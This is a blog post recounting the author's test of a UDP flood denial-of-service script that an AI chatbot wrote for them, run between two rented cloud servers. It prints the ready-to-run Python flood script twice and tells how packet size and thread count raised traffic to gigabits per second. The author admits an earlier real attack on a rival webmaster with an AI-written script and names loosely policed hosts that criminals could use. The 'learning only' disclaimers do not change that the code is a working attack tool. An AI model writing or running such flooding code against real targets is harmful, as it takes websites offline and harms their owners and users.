K7

K7Blog

须知少年凌云志 曾许人间第一流.
proton
telegram

It turns out that the cost of DDOS is so low, completed testing with 26 lines of code.

This article is only for learning and discussing the principles of DDOS attacks, not for teaching people how to attack others' websites or engage in illegal activities.

Preface:#

Previously, I wrote an article Recording an Experience of CC Attacks which documented my experience as a novice in writing a simple CC attack script using AI without knowing how to write a single line of code. I attacked a webmaster who had a conflict with me (later, this webmaster retaliated with DDOS and CC attacks on me for a few days), but in the end, the matter was resolved without any further consequences.

Today, this article is also a sudden idea to play with DDOS. I only know that DDOS sends a large number of requests to the target server, causing the server to become unavailable and consuming the server's resources. Eventually, the server IP will be blacklisted by the service provider, achieving the effect of taking down the server.

How_to_stop_DDoS_attacks_hero-1024x501

Attacks like UDP, TCP flood attacks, and amplification attacks are something I have heard of, but I haven't seriously studied how they are implemented or the underlying principles. The explanations I found through Google search are quite official and not easy to digest and understand. So, I used AI to have an alternative conversation to understand the implementation principles and used AI to write a Python script to test the effects.

Code Testing:#

I opened two servers in the same region on Vultr, both using CPU-optimized servers. At the beginning of the code testing, it generated about 5 Mbps of traffic. Later, I directly increased it to 1000 concurrent connections, and it only reached 7 Mbps. After communicating with AI, I found that the peak traffic can be achieved by increasing the packet size.

I wrote a new code for testing, and on the Vultr backend, it showed:

Snipaste_2024-05-19_13-33-35

Both servers have Gbps traffic, and they actually achieved a 4 Gbps effect. By monitoring through SSH connection tools, I could also see an upstream of about 2 Gbps at its peak. The attacked server did receive this traffic. Since I immediately deleted the servers after testing (afraid of being banned by the provider, and there was still over a hundred dollars left unused), I didn't take detailed screenshots.

I attacked my own server, and some traffic died as soon as it arrived, while one server couldn't be attacked, but when both servers were attacked together, they went down. If we only count the monitoring through SSH connection tools, there was an upstream of about 3-5 Gbps. In just a short test, hundreds of GBs of traffic disappeared. Also, the Hong Kong BPG server I bought before was officially said to have a bandwidth of 500 Mbps, but when testing the script, the downstream speed was actually close to 500 Mbps, and the upstream speed could sometimes reach over 2000 Mbps. If those criminals have these servers or servers like ColoCrossing that have unlimited bandwidth and are not strictly regulated by the service provider, they can easily take down servers without defense or with low defense.

Code snippet:#

Note⚠️: You can only use it to learn and understand the principles of DDOS attacks, and if you want to study how to defend against attacks, do not use it for illegal purposes or to attack other websites.

Whether from an SEO perspective or for some public welfare or profit-making websites, the stability of a website is very important. If you often walk by the river, you won't avoid getting your shoes wet. If you want to do illegal things, I advise you to be kind.

import socket
import threading
import time

def udp_flood(target_ip, target_port, message, duration, num_threads, packet_size=1024):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    bytes_to_send = message.encode('utf-8')
    end_time = time.time() + duration
    print(f"Starting UDP flood attack on {target_ip}:{target_port} for {duration} seconds with {num_threads} threads...")
    def send_udp():
        while time.time() < end_time:
            sock.sendto(bytes_to_send, (target_ip, target_port))
    threads = []
    for _ in range(num_threads):
        thread = threading.Thread(target=send_udp)
        thread.start()
        threads.append(thread)
    for thread in threads:
        thread.join()
    print("Attack finished.")

target_ip = "127.0.0.1"  # Target IP address
target_port = 80             # Target port
message = "A" * 20000         # Message to send (packet size of 1024 bytes)
duration = 100                # Duration (seconds)
num_threads = 10           # Number of concurrent threads
packet_size = 1024           # Size of each UDP packet (in bytes)
udp_flood(target_ip, target_port, message, duration, num_threads, packet_size)

The above code has removed some multi-line comments. If it is not available, please use the original version provided by AI:

import socket
import threading
import time

def udp_flood(target_ip, target_port, message, duration, num_threads, packet_size=1024):
    # Create a UDP socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    
    # Encode the message into bytes
    bytes_to_send = message.encode('utf-8')
    
    # Get the current time
    end_time = time.time() + duration
    
    print(f"Starting UDP flood attack on {target_ip}:{target_port} for {duration} seconds with {num_threads} threads...")
    
    # Define the function to send UDP packets
    def send_udp():
        while time.time() < end_time:
            sock.sendto(bytes_to_send, (target_ip, target_port))
    
    # Start multiple threads to send UDP requests
    threads = []
    for _ in range(num_threads):
        thread = threading.Thread(target=send_udp)
        thread.start()
        threads.append(thread)
    
    # Wait for all threads to finish
    for thread in threads:
        thread.join()
    
    print("Attack finished.")

# Configure the attack parameters
target_ip = "127.0.0.1"  # Target IP address
target_port = 80             # Target port
message = "A" * 20000         # Message to send (packet size of 1024 bytes)
duration = 100                # Duration (seconds)
num_threads = 10           # Number of concurrent threads
packet_size = 1024           # Size of each UDP packet (in bytes)

# Launch the attack
udp_flood(target_ip, target_port, message, duration, num_threads, packet_size)
Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.